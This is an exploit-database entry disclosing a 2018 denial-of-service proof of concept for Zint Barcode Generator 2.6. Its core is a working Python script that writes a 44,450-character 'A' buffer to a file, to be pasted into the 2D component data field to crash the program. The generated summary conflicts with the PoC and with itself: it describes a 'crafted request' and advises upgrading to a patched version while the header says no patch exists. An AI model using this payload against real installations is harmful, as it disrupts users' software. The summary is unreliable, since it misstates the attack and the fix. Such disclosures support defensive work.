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vendor:
Zint Barcode Generator
by:
Ihsan Sencan
7.5
CVSS
HIGH
Denial of Service
CWE
Product Name: Zint Barcode Generator
Affected Version From: 2.6
Affected Version To: 2.6
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows 7 64-bit, Kali Linux 64-bit
2018

Zint Barcode Generator 2.6 – Denial of Service (PoC)

The Zint Barcode Generator version 2.6 is vulnerable to a denial of service (DoS) attack. By sending a specially crafted request, an attacker can cause the application to crash, resulting in a denial of service condition.

Mitigation:

Upgrade to a patched version of the software.
Source

Exploit-DB raw data:

# Exploit Title: Zint Barcode Generator 2.6 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-01
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.zint.org.uk
# Software Link: https://sourceforge.net/projects/zint/files/latest/download
# Version: 2.6
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Add 2D Component / 2D Component Data

#!/usr/bin/python
    
buffer = "A" * 44450
 
payload = buffer
try:
    f=open("exp.txt","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."

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